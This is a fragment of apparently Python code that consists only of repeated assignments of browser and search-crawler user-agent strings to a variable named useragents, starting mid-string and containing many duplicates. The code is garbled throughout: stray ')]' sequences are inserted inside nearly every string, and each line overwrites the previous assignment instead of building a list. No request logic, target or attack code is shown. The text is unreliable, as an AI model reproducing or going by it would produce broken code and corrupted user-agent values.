(.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] 